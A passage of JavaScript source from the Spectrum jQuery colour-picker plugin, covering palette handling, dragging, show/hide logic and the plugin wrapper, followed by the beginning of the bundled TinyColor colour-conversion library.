			paletteArray                                                                       = [], paletteLookup = {}, selectionPalette = opts.selectionPalette.slice( 0 ),
			maxSelectionSize                                                                   = opts.maxSelectionSize, draggingClass                            = 'sp-dragging', inputText = opts.inputText,
			shiftMovementDirection                                                             = null;

		var doc                                                                           = element.ownerDocument, body = doc.body, boundElement                    = $( element ),
			disabled                                                                      = false, container = $( markup, doc ).addClass( theme ),
			dragger                                                                       = container.find( '.sp-color' ), dragHelper = container.find( '.sp-dragger' ),
			slider                                                                        = container.find( '.sp-hue' ), slideHelper                             = container.find( '.sp-slider' ),
			alphaSliderInner                                                              = container.find( '.sp-alpha-inner' ), alphaSlider           = container.find( '.sp-alpha' ),
			alphaSlideHelper                                                              = container.find( '.sp-alpha-handle' ), textInput            = container.find( '.sp-input' ),
			paletteContainer                                                              = container.find( '.sp-palette' ),
			initialColorContainer                                                         = container.find( '.sp-initial' ), cancelButton = container.find( '.sp-cancel' ),
			clearButton                                                                   = container.find( '.sp-clear' ), chooseButton = container.find( '.sp-choose' ),
			isInput                                                                       = boundElement.is( 'input' ),
			isInputTypeColor                                                              = isInput && inputTypeColorSupport && boundElement.attr( 'type' ) === 'color',
			shouldReplace                                                                 = isInput && ! flat,
			replacer                                                                      = (shouldReplace) ? $( replaceInput ).addClass( theme ).addClass( opts.className ).addClass( opts.replacerClassName ) : $( [] ),
			offsetElement                                                                 = (shouldReplace) ? replacer : boundElement,
			previewElement                                                                = replacer.find( '.sp-preview-inner' ),
			initialColor                                                                  = opts.color || (isInput && boundElement.val()), colorOnShow     = false,
			preferredFormat                                                               = opts.preferredFormat, currentPreferredFormat = preferredFormat,
			clickoutFiresChange = ! opts.showButtons || opts.clickoutFiresChange, isEmpty = ! initialColor,
			allowEmpty                                                                    = opts.allowEmpty && ! isInputTypeColor;

		if ( inputText !== '' ) {
			var x = $( offsetElement ).find( 'div.sp-dd' );
			x.text( inputText );
		}

		function applyOptions() {

			if ( opts.showPaletteOnly ) {
				opts.showPalette = true;
			}

			if ( opts.palette ) {
				palette       = opts.palette.slice( 0 );
				paletteArray  = Array.isArray( palette[0] ) ? palette : [palette];
				paletteLookup = {};
				for ( var i = 0; i < paletteArray.length; i ++ ) {
					for ( var j = 0; j < paletteArray[i].length; j ++ ) {
						var rgb            = tinycolor( paletteArray[i][j] ).toRgbString();
						paletteLookup[rgb] = true;
					}
				}
			}

			container.toggleClass( 'sp-flat', flat );
			container.toggleClass( 'sp-input-disabled', ! opts.showInput );
			container.toggleClass( 'sp-alpha-enabled', opts.showAlpha );
			container.toggleClass( 'sp-clear-enabled', allowEmpty );
			container.toggleClass( 'sp-buttons-disabled', ! opts.showButtons );
			container.toggleClass( 'sp-palette-disabled', ! opts.showPalette );
			container.toggleClass( 'sp-palette-only', opts.showPaletteOnly );
			container.toggleClass( 'sp-initial-disabled', ! opts.showInitial );
			container.addClass( opts.className ).addClass( opts.containerClassName );

			reflow();
		}

		function initialize() {

			if ( IE ) {
				container.find( '*:not(input)' ).attr( 'unselectable', 'on' );
			}

			applyOptions();

			if ( shouldReplace ) {
				boundElement.after( replacer ).hide();
			}

			if ( ! allowEmpty ) {
				clearButton.hide();
			}

			if ( flat ) {
				boundElement.after( container ).hide();
			} else {

				var appendTo = opts.appendTo === 'parent' ? boundElement.parent() : $( opts.appendTo );
				if ( appendTo.length !== 1 ) {
					appendTo = $( 'body' );
				}

				appendTo.append( container );
			}

			updateSelectionPaletteFromStorage();

			offsetElement.on( 'click.spectrum touchstart.spectrum', function( e ) {
				if ( ! disabled ) {
					toggle();
				}

				e.stopPropagation();

				if ( ! $( e.target ).is( 'input' ) ) {
					e.preventDefault();
				}
			} );

			if ( boundElement.is( ':disabled' ) || (opts.disabled === true) ) {
				disable();
			}

			// Prevent clicks from bubbling up to document.  This would cause it to be hidden.
			container.on( 'click', stopPropagation );

			// Handle user typed input
			textInput.on( 'change', setFromTextInput );
			textInput.on( 'paste', function() {
				setTimeout( setFromTextInput, 1 );
			} );
			textInput.on( 'keydown', function( e ) {
				if ( e.keyCode == 13 ) {
					setFromTextInput();
				}
			} );

			cancelButton.text( opts.cancelText );
			cancelButton.on( 'click.spectrum', function( e ) {
				e.stopPropagation();
				e.preventDefault();
				hide( 'cancel' );
			} );

			clearButton.attr( 'title', opts.clearText );
			clearButton.on( 'click.spectrum', function( e ) {
				e.stopPropagation();
				e.preventDefault();
				isEmpty = true;
				move();

				if ( flat ) {
					//for the flat style, this is a change event
					updateOriginalInput( true );
				}
			} );

			chooseButton.text( opts.chooseText );
			chooseButton.on( 'click.spectrum', function( e ) {
				e.stopPropagation();
				e.preventDefault();

				if ( isValid() ) {
					updateOriginalInput( true );
					hide();
				}
			} );

			draggable( alphaSlider, function( dragX, dragY, e ) {
				currentAlpha = (dragX / alphaWidth);
				isEmpty      = false;
				if ( e.shiftKey ) {
					currentAlpha = Math.round( currentAlpha * 10 ) / 10;
				}

				move();
			}, dragStart, dragStop );

			draggable( slider, function( dragX, dragY ) {
				currentHue = parseFloat( dragY / slideHeight );
				isEmpty    = false;
				if ( ! opts.showAlpha ) {
					currentAlpha = 1;
				}
				move();
			}, dragStart, dragStop );

			draggable( dragger, function( dragX, dragY, e ) {

				// shift+drag should snap the movement to either the x or y axis.
				if ( ! e.shiftKey ) {
					shiftMovementDirection = null;
				} else if ( ! shiftMovementDirection ) {
					var oldDragX     = currentSaturation * dragWidth;
					var oldDragY     = dragHeight - (currentValue * dragHeight);
					var furtherFromX = Math.abs( dragX - oldDragX ) > Math.abs( dragY - oldDragY );

					shiftMovementDirection = furtherFromX ? 'x' : 'y';
				}

				var setSaturation = ! shiftMovementDirection || shiftMovementDirection === 'x';
				var setValue      = ! shiftMovementDirection || shiftMovementDirection === 'y';

				if ( setSaturation ) {
					currentSaturation = parseFloat( dragX / dragWidth );
				}
				if ( setValue ) {
					currentValue = parseFloat( (dragHeight - dragY) / dragHeight );
				}

				isEmpty = false;
				if ( ! opts.showAlpha ) {
					currentAlpha = 1;
				}

				move();

			}, dragStart, dragStop );

			if ( ! ! initialColor ) {
				set( initialColor );

				// In case color was black - update the preview UI and set the format
				// since the set function will not run (default color is black).
				updateUI();
				currentPreferredFormat = preferredFormat || tinycolor( initialColor ).format;

				addColorToSelectionPalette( initialColor );
			} else {
				updateUI();
			}

			if ( flat ) {
				show();
			}

			function palletElementClick( e ) {
				if ( e.data && e.data.ignore ) {
					set( $( this ).data( 'color' ) );
					move();
				} else {
					set( $( this ).data( 'color' ) );
					move();
					updateOriginalInput( true );
					hide();
				}

				return false;
			}

			var paletteEvent = IE ? 'mousedown.spectrum' : 'click.spectrum touchstart.spectrum';
			paletteContainer.on( paletteEvent, '.sp-thumb-el', palletElementClick );
			initialColorContainer.on( paletteEvent, '.sp-thumb-el:nth-child(1)', {ignore: true}, palletElementClick );
		}

		function updateSelectionPaletteFromStorage() {

			if ( localStorageKey && window.localStorage ) {

				// Migrate old palettes over to new format.  May want to remove this eventually.
				try {
					var oldPalette = window.localStorage[localStorageKey].split( ',#' );
					if ( oldPalette.length > 1 ) {
						delete window.localStorage[localStorageKey];
						$.each( oldPalette, function( i, c ) {
							addColorToSelectionPalette( c );
						} );
					}
				} catch ( e ) {
				}

				try {
					selectionPalette = window.localStorage[localStorageKey].split( ';' );
				} catch ( e ) {
				}
			}
		}

		function addColorToSelectionPalette( color ) {
			if ( showSelectionPalette ) {
				var rgb = tinycolor( color ).toRgbString();
				if ( ! paletteLookup[rgb] && $.inArray( rgb, selectionPalette ) === - 1 ) {
					selectionPalette.push( rgb );
					while ( selectionPalette.length > maxSelectionSize ) {
						selectionPalette.shift();
					}
				}

				if ( localStorageKey && window.localStorage ) {
					try {
						window.localStorage[localStorageKey] = selectionPalette.join( ';' );
					} catch ( e ) {
					}
				}
			}
		}

		function getUniqueSelectionPalette() {
			var unique = [];
			if ( opts.showPalette ) {
				for ( i = 0; i < selectionPalette.length; i ++ ) {
					var rgb = tinycolor( selectionPalette[i] ).toRgbString();

					if ( ! paletteLookup[rgb] ) {
						unique.push( selectionPalette[i] );
					}
				}
			}

			return unique.reverse().slice( 0, opts.maxSelectionSize );
		}

		function drawPalette() {

			var currentColor = get();

			var html = $.map( paletteArray, function( palette, i ) {
				return paletteTemplate( palette, currentColor, 'sp-palette-row sp-palette-row-' + i, opts.preferredFormat );
			} );

			updateSelectionPaletteFromStorage();

			if ( selectionPalette ) {
				html.push( paletteTemplate( getUniqueSelectionPalette(), currentColor, 'sp-palette-row sp-palette-row-selection', opts.preferredFormat ) );
			}

			paletteContainer.html( html.join( '' ) );
		}

		function drawInitial() {
			if ( opts.showInitial ) {
				var initial = colorOnShow;
				var current = get();
				initialColorContainer.html( paletteTemplate( [initial, current], current, 'sp-palette-row-initial', opts.preferredFormat ) );
			}
		}

		function dragStart() {
			if ( dragHeight <= 0 || dragWidth <= 0 || slideHeight <= 0 ) {
				reflow();
			}
			container.addClass( draggingClass );
			shiftMovementDirection = null;
			boundElement.trigger( 'dragstart.spectrum', [get()] );
		}

		function dragStop() {
			container.removeClass( draggingClass );
			boundElement.trigger( 'dragstop.spectrum', [get()] );
		}

		function setFromTextInput() {

			var value = textInput.val();

			if ( (value === null || value === '') && allowEmpty ) {
				set( null );
				updateOriginalInput( true );
			} else {
				var tiny = tinycolor( value );
				if ( tiny.ok ) {
					set( tiny );
					updateOriginalInput( true );
				} else {
					textInput.addClass( 'sp-validation-error' );
				}
			}
		}

		function toggle() {
			if ( visible ) {
				hide();
			} else {
				show();
			}
		}

		function show() {
			var event = $.Event( 'beforeShow.spectrum' );

			if ( visible ) {
				reflow();
				return;
			}

			boundElement.trigger( event, [get()] );

			if ( callbacks.beforeShow( get() ) === false || event.isDefaultPrevented() ) {
				return;
			}

			hideAll();
			visible = true;

			$( doc ).on( 'click.spectrum', hide );
			$( window ).on( 'resize.spectrum', resize );
			replacer.addClass( 'sp-active' );
			container.removeClass( 'sp-hidden' );

			reflow();
			updateUI();

			colorOnShow = get();

			drawInitial();
			callbacks.show( colorOnShow );
			boundElement.trigger( 'show.spectrum', [colorOnShow] );
		}

		function hide( e ) {

			// Return on right click
			if ( e && e.type == 'click' && e.button == 2 ) {
				return;
			}

			// Return if hiding is unnecessary
			if ( ! visible || flat ) {
				return;
			}
			visible = false;

			$( doc ).off( 'click.spectrum', hide );
			$( window ).off( 'resize.spectrum', resize );

			replacer.removeClass( 'sp-active' );
			container.addClass( 'sp-hidden' );

			var colorHasChanged = ! tinycolor.equals( get(), colorOnShow );

			if ( colorHasChanged ) {
				if ( clickoutFiresChange && e !== 'cancel' ) {
					updateOriginalInput( true );
				} else {
					revert();
				}
			}

			callbacks.hide( get() );
			boundElement.trigger( 'hide.spectrum', [get()] );
		}

		function revert() {
			set( colorOnShow, true );
		}

		function set( color, ignoreFormatChange ) {
			if ( tinycolor.equals( color, get() ) ) {
				// Update UI just in case a validation error needs
				// to be cleared.
				updateUI();
				return;
			}

			var newColor, newHsv;
			if ( ! color && allowEmpty ) {
				isEmpty = true;
			} else {
				isEmpty  = false;
				newColor = tinycolor( color );
				newHsv   = newColor.toHsv();

				currentHue        = (newHsv.h % 360) / 360;
				currentSaturation = newHsv.s;
				currentValue      = newHsv.v;
				currentAlpha      = newHsv.a;
			}
			updateUI();

			if ( newColor && newColor.ok && ! ignoreFormatChange ) {
				currentPreferredFormat = preferredFormat || newColor.format;
			}
		}

		function get( opts ) {
			opts = opts || {};

			if ( allowEmpty && isEmpty ) {
				return null;
			}

			return tinycolor.fromRatio( {
				h: currentHue, s: currentSaturation, v: currentValue, a: Math.round( currentAlpha * 100 ) / 100
			}, {format: opts.format || currentPreferredFormat} );
		}

		function isValid() {
			return ! textInput.hasClass( 'sp-validation-error' );
		}

		function move() {
			updateUI();

			callbacks.move( get() );
			boundElement.trigger( 'move.spectrum', [get()] );
		}

		function updateUI() {

			textInput.removeClass( 'sp-validation-error' );

			updateHelperLocations();

			// Update dragger background color (gradients take care of saturation and value).
			var flatColor = tinycolor.fromRatio( {h: currentHue, s: 1, v: 1} );
			dragger.css( 'background-color', flatColor.toHexString() );

			// Get a format that alpha will be included in (hex and names ignore alpha)
			var format = currentPreferredFormat;
			if ( currentAlpha < 1 && ! (currentAlpha === 0 && format === 'name') ) {
				if ( format === 'hex' || format === 'hex3' || format === 'hex6' || format === 'name' ) {
					format = 'rgb';
				}
			}

			var realColor = get( {format: format} ), displayColor = '';

			//reset background info for preview element
			previewElement.removeClass( 'sp-clear-display' );
			previewElement.css( 'background-color', 'transparent' );

			if ( ! realColor && allowEmpty ) {
				// Update the replaced elements background with icon indicating no color selection
				previewElement.addClass( 'sp-clear-display' );
			} else {
				var realHex = realColor.toHexString(), realRgb = realColor.toRgbString();

				// Update the replaced elements background color (with actual selected color)
				if ( rgbaSupport || realColor.alpha === 1 ) {
					previewElement.css( 'background-color', realRgb );
				} else {
					previewElement.css( 'background-color', 'transparent' );
					previewElement.css( 'filter', realColor.toFilter() );
				}

				if ( opts.showAlpha ) {
					var rgb       = realColor.toRgb();
					rgb.a         = 0;
					var realAlpha = tinycolor( rgb ).toRgbString();
					var gradient  = 'linear-gradient(left, ' + realAlpha + ', ' + realHex + ')';

					if ( IE ) {
						alphaSliderInner.css( 'filter', tinycolor( realAlpha ).toFilter( {gradientType: 1}, realHex ) );
					} else {
						alphaSliderInner.css( 'background', '-webkit-' + gradient );
						alphaSliderInner.css( 'background', '-moz-' + gradient );
						alphaSliderInner.css( 'background', '-ms-' + gradient );
						// Use current syntax gradient on unprefixed property.
						alphaSliderInner.css( 'background', 'linear-gradient(to right, ' + realAlpha + ', ' + realHex + ')' );
					}
				}

				displayColor = realColor.toString( format );
			}

			// Update the text entry input as it changes happen
			if ( opts.showInput ) {
				textInput.val( displayColor );
			}

			if ( opts.showPalette ) {
				drawPalette();
			}

			drawInitial();
		}

		function updateHelperLocations() {
			var s = currentSaturation;
			var v = currentValue;

			if ( allowEmpty && isEmpty ) {
				//if selected color is empty, hide the helpers
				alphaSlideHelper.hide();
				slideHelper.hide();
				dragHelper.hide();
			} else {
				//make sure helpers are visible
				alphaSlideHelper.show();
				slideHelper.show();
				dragHelper.show();

				// Where to show the little circle in that displays your current selected color
				var dragX = s * dragWidth;
				var dragY = dragHeight - (v * dragHeight);
				dragX     = Math.max( - dragHelperHeight, Math.min( dragWidth - dragHelperHeight, dragX - dragHelperHeight ) );
				dragY     = Math.max( - dragHelperHeight, Math.min( dragHeight - dragHelperHeight, dragY - dragHelperHeight ) );
				dragHelper.css( {
					'top': dragY + 'px', 'left': dragX + 'px'
				} );

				var alphaX = currentAlpha * alphaWidth;
				alphaSlideHelper.css( {
					'left': (alphaX - (alphaSlideHelperWidth / 2)) + 'px'
				} );

				// Where to show the bar that displays your current selected hue
				var slideY = (currentHue) * slideHeight;
				slideHelper.css( {
					'top': (slideY - slideHelperHeight) + 'px'
				} );
			}
		}

		function updateOriginalInput( fireCallback ) {
			var color = get(), displayColor = '', hasChanged = ! tinycolor.equals( color, colorOnShow );

			if ( color ) {
				displayColor = color.toString( currentPreferredFormat );
				// Update the selection palette with the current color
				addColorToSelectionPalette( color );
			}

			if ( isInput ) {
				boundElement.val( displayColor );
			}

			colorOnShow = color;

			if ( fireCallback && hasChanged ) {
				callbacks.change( color );
				boundElement.trigger( 'change', [color] );
			}
		}

		function reflow() {
			dragWidth             = dragger.width();
			dragHeight            = dragger.height();
			dragHelperHeight      = dragHelper.height();
			slideWidth            = slider.width();
			slideHeight           = slider.height();
			slideHelperHeight     = slideHelper.height();
			alphaWidth            = alphaSlider.width();
			alphaSlideHelperWidth = alphaSlideHelper.width();

			if ( ! flat ) {
				container.css( 'position', 'absolute' );
				container.offset( getOffset( container, offsetElement ) );
			}

			updateHelperLocations();

			if ( opts.showPalette ) {
				drawPalette();
			}

			boundElement.trigger( 'reflow.spectrum' );
		}

		function destroy() {
			boundElement.show();
			offsetElement.off( 'click.spectrum touchstart.spectrum' );
			container.remove();
			replacer.remove();
			spectrums[spect.id] = null;
		}

		function option( optionName, optionValue ) {
			if ( optionName === undefined ) {
				return $.extend( {}, opts );
			}
			if ( optionValue === undefined ) {
				return opts[optionName];
			}

			opts[optionName] = optionValue;
			applyOptions();
		}

		function enable() {
			disabled = false;
			boundElement.prop( 'disabled', false );
			offsetElement.removeClass( 'sp-disabled' );
		}

		function disable() {
			hide();
			disabled = true;
			boundElement.prop( 'disabled', true );
			offsetElement.addClass( 'sp-disabled' );
		}

		initialize();

		var spect = {
			show: show,
			hide: hide,
			toggle: toggle,
			reflow: reflow,
			option: option,
			enable: enable,
			disable: disable,
			set: function( c ) {
				set( c );
				updateOriginalInput();
			},
			get: get,
			destroy: destroy,
			container: container
		};

		spect.id = spectrums.push( spect ) - 1;

		return spect;
	}

	/**
	 * checkOffset - get the offset below/above and left/right element depending on screen position
	 * Thanks https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.datepicker.js
	 */
	function getOffset( picker, input ) {
		var extraY      = 0;
		var dpWidth     = picker.outerWidth();
		var dpHeight    = picker.outerHeight();
		var inputHeight = input.outerHeight();
		var doc         = picker[0].ownerDocument;
		var docElem     = doc.documentElement;
		var viewWidth   = docElem.clientWidth + $( doc ).scrollLeft();
		var viewHeight  = docElem.clientHeight + $( doc ).scrollTop();
		var offset      = input.offset();
		offset.top += inputHeight;

		offset.left -= Math.min( offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs( offset.left + dpWidth - viewWidth ) : 0 );

		offset.top -= Math.min( offset.top, ((offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs( dpHeight + inputHeight - extraY ) : extraY) );

		return offset;
	}

	/**
	 * noop - do nothing
	 */
	function noop() {

	}

	/**
	 * stopPropagation - makes the code only doing this a little easier to read in line
	 */
	function stopPropagation( e ) {
		e.stopPropagation();
	}

	/**
	 * Create a function bound to a given object
	 * Thanks to underscore.js
	 */
	function bind( func, obj ) {
		var slice = Array.prototype.slice;
		var args  = slice.call( arguments, 2 );
		return function() {
			return func.apply( obj, args.concat( slice.call( arguments ) ) );
		};
	}

	/**
	 * Lightweight drag helper.  Handles containment within the element, so that
	 * when dragging, the x is within [0,element.width] and y is within [0,element.height]
	 */
	function draggable( element, onmove, onstart, onstop ) {
		onmove        = onmove || function() {
		};
		onstart       = onstart || function() {
		};
		onstop        = onstop || function() {
		};
		var doc       = element.ownerDocument || document;
		var dragging  = false;
		var offset    = {};
		var maxHeight = 0;
		var maxWidth  = 0;
		var hasTouch  = ('ontouchstart' in window);

		var duringDragEvents                    = {};
		duringDragEvents['selectstart']         = prevent;
		duringDragEvents['dragstart']           = prevent;
		duringDragEvents['touchmove mousemove'] = move;
		duringDragEvents['touchend mouseup']    = stop;

		function prevent( e ) {
			if ( e.stopPropagation ) {
				e.stopPropagation();
			}
			if ( e.preventDefault ) {
				e.preventDefault();
			}
			e.returnValue = false;
		}

		function move( e ) {
			if ( dragging ) {
				// Mouseup happened outside of window
				if ( IE && document.documentMode < 9 && ! e.button ) {
					return stop();
				}

				var touches = e.originalEvent.touches;
				var pageX   = touches ? touches[0].pageX : e.pageX;
				var pageY   = touches ? touches[0].pageY : e.pageY;

				var dragX = Math.max( 0, Math.min( pageX - offset.left, maxWidth ) );
				var dragY = Math.max( 0, Math.min( pageY - offset.top, maxHeight ) );

				if ( hasTouch ) {
					// Stop scrolling in iOS
					prevent( e );
				}

				onmove.apply( element, [dragX, dragY, e] );
			}
		}

		function start( e ) {
			var rightclick = (e.which) ? (e.which == 3) : (e.button == 2);
			var touches    = e.originalEvent.touches;

			if ( ! rightclick && ! dragging ) {
				if ( onstart.apply( element, arguments ) !== false ) {
					dragging  = true;
					maxHeight = $( element ).height();
					maxWidth  = $( element ).width();
					offset    = $( element ).offset();

					$( doc ).on( duringDragEvents );
					$( doc.body ).addClass( 'sp-dragging' );

					if ( ! hasTouch ) {
						move( e );
					}

					prevent( e );
				}
			}
		}

		function stop() {
			if ( dragging ) {
				$( doc ).off( duringDragEvents );
				$( doc.body ).removeClass( 'sp-dragging' );
				onstop.apply( element, arguments );
			}
			dragging = false;
		}

		$( element ).on( 'touchstart mousedown', start );
	}

	function throttle( func, wait, debounce ) {
		var timeout;
		return function() {
			var context   = this, args = arguments;
			var throttler = function() {
				timeout = null;
				func.apply( context, args );
			};
			if ( debounce ) clearTimeout( timeout );
			if ( debounce || ! timeout ) timeout = setTimeout( throttler, wait );
		};
	}

	function log() {/* jshint -W021 */
		if ( window.console ) {
			if ( Function.prototype.bind ) log = Function.prototype.bind.call( console.log, console ); else log = function() {
				Function.prototype.apply.call( console.log, console, arguments );
			};
			log.apply( this, arguments );
		}
	}

	/**
	 * Define a jQuery plugin
	 */
	var dataID    = 'spectrum.id';
	$.fn.spectrum = function( opts, extra ) {

		if ( typeof opts == 'string' ) {

			var returnValue = this;
			var args        = Array.prototype.slice.call( arguments, 1 );

			this.each( function() {
				var spect = spectrums[$( this ).data( dataID )];
				if ( spect ) {
					var method = spect[opts];
					if ( ! method ) {
						throw new Error( 'Spectrum: no such method: \'' + opts + '\'' );
					}

					if ( opts == 'get' ) {
						returnValue = spect.get();
					} else if ( opts == 'container' ) {
						returnValue = spect.container;
					} else if ( opts == 'option' ) {
						returnValue = spect.option.apply( spect, args );
					} else if ( opts == 'destroy' ) {
						spect.destroy();
						$( this ).removeData( dataID );
					} else {
						method.apply( spect, args );
					}
				}
			} );

			return returnValue;
		}

		// Initializing a new instance of spectrum
		return this.spectrum( 'destroy' ).each( function() {
			var options = $.extend( {}, opts, $( this ).data() );
			var spect   = spectrum( this, options );
			$( this ).data( dataID, spect.id );
		} );
	};

	$.fn.spectrum.load      = true;
	$.fn.spectrum.loadOpts  = {};
	$.fn.spectrum.draggable = draggable;
	$.fn.spectrum.defaults  = defaultOpts;

	$.spectrum              = {};
	$.spectrum.localization = {};
	$.spectrum.palettes     = {};

	$.fn.spectrum.processNativeColorInputs = function() {
		if ( ! inputTypeColorSupport ) {
			$( 'input[type=color]' ).spectrum( {
				preferredFormat: 'hex6'
			} );
		}
	};

	// TinyColor v0.9.17
	// https://github.com/bgrins/TinyColor
	// 2013-08-10, Brian Grinstead, MIT License

	(function() {

		var trimLeft = /^[\s,#]+/, trimRight = /\s+$/, tinyCounter = 0, math = Math, mathRound = math.round,
			mathMin                                                                            = math.min, mathMax = math.max, mathRandom                                 = math.random;

		function tinycolor( color, opts ) {

			color = (color) ? color : '';
			opts  = opts || {};

			// If input is already a tinycolor, return itself
			if ( typeof color == 'object' && color.hasOwnProperty( '_tc_id' ) ) {
				return color;
			}

			var rgb                                                = inputToRGB( color );
			var r = rgb.r, g = rgb.g, b = rgb.b, a = rgb.a, roundA = mathRound( 100 * a ) / 100,
				format                                             = opts.format || rgb.format;

			// Don't let the range of [0,255] come back in [0,1].
			// Potentially lose a little bit of precision here, but will fix issues where
			// .5 gets interpreted as half of the total, instead of half of 1
			// If it was supposed to be 128, this was already taken care of by `inputToRgb`
			if ( r < 1 ) {
				r = mathRound( r );
			}
			if ( g < 1 ) {
				g = mathRound( g );
			}
			if ( b < 1 ) {
				b = mathRound( b );
			}

			return {
				ok: rgb.ok, format: format, _tc_id: tinyCounter ++, alpha: a, getAlpha: function() {
					return a;
				}, setAlpha: function( value ) {
					a      = boundAlpha( value );
					roundA = mathRound( 100 * a ) / 100;
				}, toHsv: function() {
					var hsv = rgbToHsv( r, g, b );
					return {h: hsv.h * 360, s: hsv.s, v: hsv.v, a: a};
				}, toHsvString: function() {
					var hsv = rgbToHsv( r, g, b );
					var h   = mathRound( hsv.h * 360 ), s = mathRound( hsv.s * 100 ), v = mathRound( hsv.v * 100 );
					return (a == 1) ? 'hsv(' + h + ', ' + s + '%, ' + v + '%)' : 'hsva(' + h + ', ' + s + '%, ' + v + '%, ' + roundA + ')';
				}, toHsl: function() {
					var hsl = rgbToHsl( r, g, b );
					return {h: hsl.h * 360, s: hsl.s, l: hsl.l, a: a};
				}, toHslString: function() {
					var hsl = rgbToHsl( r, g, b );
					var h   = mathRound( hsl.h * 360 ), s = mathRound( hsl.s * 100 ), l = mathRound( hsl.l * 100 );
					return (a == 1) ? 'hsl(' + h + ', ' + s + '%, ' + l + '%)' : 'hsla(' + h + ', ' + s + '%, ' + l + '%, ' + roundA + ')';
				}, toHex: function( allow3Char ) {
					return rgbToHex( r, g, b, allow3Char );
				}, toHexString: function( allow3Char ) {
					return '#' + this.toHex( allow3Char );
				}, toHex8: function() {
					return rgbaToHex( r, g, b, a );
				}, toHex8String: function() {
					return '#' + this.toHex8();
				}, toRgb: function() {
					return {r: mathRound( r ), g: mathRound( g ), b: mathRound( b ), a: a};
				}, toRgbString: function() {
					return (a == 1) ? 'rgb(' + mathRound( r ) + ', ' + mathRound( g ) + ', ' + mathRound( b ) + ')' : 'rgba(' + mathRound( r ) + ', ' + mathRound( g ) + ', ' + mathRound( b ) + ', ' + roundA + ')';
				}, toPercentageRgb: function() {
					return {
						r: mathRound( bound01( r, 255 ) * 100 ) + '%',
						g: mathRound( bound01( g, 255 ) * 100 ) + '%',
						b: mathRound( bound01( b, 255 ) * 100 ) + '%',
						a: a
					};
				}, toPercentageRgbString: function() {
					return (a == 1) ? 'rgb(' + mathRound( bound01( r, 255 ) * 100 ) + '%, ' + mathRound( bound01( g, 255 ) * 100 ) + '%, ' + mathRound( bound01( b, 255 ) * 100 ) + '%)' : 'rgba(' + mathRound( bound01( r, 255 ) * 100 ) + '%, ' + mathRound( bound01( g, 255 ) * 100 ) + '%, ' + mathRound( bound01( b, 255 ) * 100 ) + '%, ' + roundA + ')';
				}, toName: function() {
					if ( a === 0 ) {
						return 'transparent';
					}

					return hexNames[rgbToHex( r, g, b, true )] || false;
				}, toFilter: function( secondColor ) {
					var hex8String       = '#' + rgbaToHex( r, g, b, a );
					var secondHex8String = hex8String;
					var gradientType     = opts && opts.gradientType ? 'GradientType = 1, ' : '';

					if ( secondColor ) {
						var s            = tinycolor( secondColor );
						secondHex8String = s.toHex8String();
					}

					return 'progid:DXImageTransform.Microsoft.gradient(' + gradientType + 'startColorstr=' + hex8String + ',endColorstr=' + secondHex8String + ')';
				}, toString: function( format ) {
					var formatSet = ! ! format;
					format        = format || this.format;

					var formattedString         = false;
					var hasAlphaAndFormatNotSet = ! formatSet && a < 1 && a > 0;
					var formatWithAlpha         = hasAlphaAndFormatNotSet && (format === 'hex' || format === 'hex6' || format === 'hex3' || format === 'name');

					if ( format === 'rgb' ) {
						formattedString = this.toRgbString();
					}
					if ( format === 'prgb' ) {
						formattedString = this.toPercentageRgbString();
					}
					if ( format === 'hex' || format === 'hex6' ) {
						formattedString = this.toHexString();
					}
					if ( format === 'hex3' ) {
						formattedString = this.toHexString( true );
					}
					if ( format === 'hex8' ) {
						formattedString = this.toHex8String();
					}
					if ( format === 'name' ) {
						formattedString = this.toName();
					}
					if ( format === 'hsl' ) {
						formattedString = this.toHslString();
					}
					if ( format === 'hsv' ) {
						formattedString = this.toHsvString();
					}

					if ( formatWithAlpha ) {
						return this.toRgbString();
					}

					return formattedString || this.toHexString();
				}
			};
		}

		// If input is an object, force 1 into "1.0" to handle ratios properly
		// String input requires "1.0" as input, so 1 will be treated as 1
		tinycolor.fromRatio = function( color, opts ) {
			if ( typeof color == 'object' ) {
				var newColor = {};
				for ( var i in color ) {
					if ( color.hasOwnProperty( i ) ) {
						if ( i === 'a' ) {
							newColor[i] = color[i];
						} else {
							newColor[i] = convertToPercentage( color[i] );
						}
					}
				}
				color = newColor;
			}

			return tinycolor( color, opts );
		};

		// Given a string or object, convert that input to RGB
		// Possible string inputs:
		//
		//     "red"
		//     "#f00" or "f00"
		//     "#ff0000" or "ff0000"
		//     "#ff000000" or "ff000000"
		//     "rgb 255 0 0" or "rgb (255, 0, 0)"
		//     "rgb 1.0 0 0" or "rgb (1, 0, 0)"
		//     "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1"
		//     "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1"
		//     "hsl(0, 100%, 50%)" or "hsl 0 100% 50%"
		//     "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1"
		//     "hsv(0, 100%, 100%)" or "hsv 0 100% 100%"
		//
		function inputToRGB( color ) {

			var rgb    = {r: 0, g: 0, b: 0};
			var a      = 1;
			var ok     = false;
			var format = false;

			if ( typeof color == 'string' ) {
				color = stringInputToObject( color );
			}

			if ( typeof color == 'object' ) {
				if ( color.hasOwnProperty( 'r' ) && color.hasOwnProperty( 'g' ) && color.hasOwnProperty( 'b' ) ) {
					rgb    = rgbToRgb( color.r, color.g, color.b );
					ok     = true;
					format = String( color.r ).substr( - 1 ) === '%' ? 'prgb' : 'rgb';
				} else if ( color.hasOwnProperty( 'h' ) && color.hasOwnProperty( 's' ) && color.hasOwnProperty( 'v' ) ) {
					color.s = convertToPercentage( color.s );
					color.v = convertToPercentage( color.v );
					rgb     = hsvToRgb( color.h, color.s, color.v );
					ok      = true;
					format  = 'hsv';
				} else if ( color.hasOwnProperty( 'h' ) && color.hasOwnProperty( 's' ) && color.hasOwnProperty( 'l' ) ) {
					color.s = convertToPercentage( color.s );
					color.l = convertToPercentage( color.l );
					rgb     = hslToRgb( color.h, color.s, color.l );
					ok      = true;
					format  = 'hsl';
				}

				if ( color.hasOwnProperty( 'a' ) ) {
					a = color.a;
				}
			}

			a = boundAlpha( a );

			return {
				ok: ok,
				format: color.format || format,
				r: mathMin( 255, mathMax( rgb.r, 0 ) ),
				g: mathMin( 255, mathMax( rgb.g, 0 ) ),
				b: mathMin( 255, mathMax( rgb.b, 0 ) ),
				a: a
			};
		}

		// Conversion Functions
		// --------------------

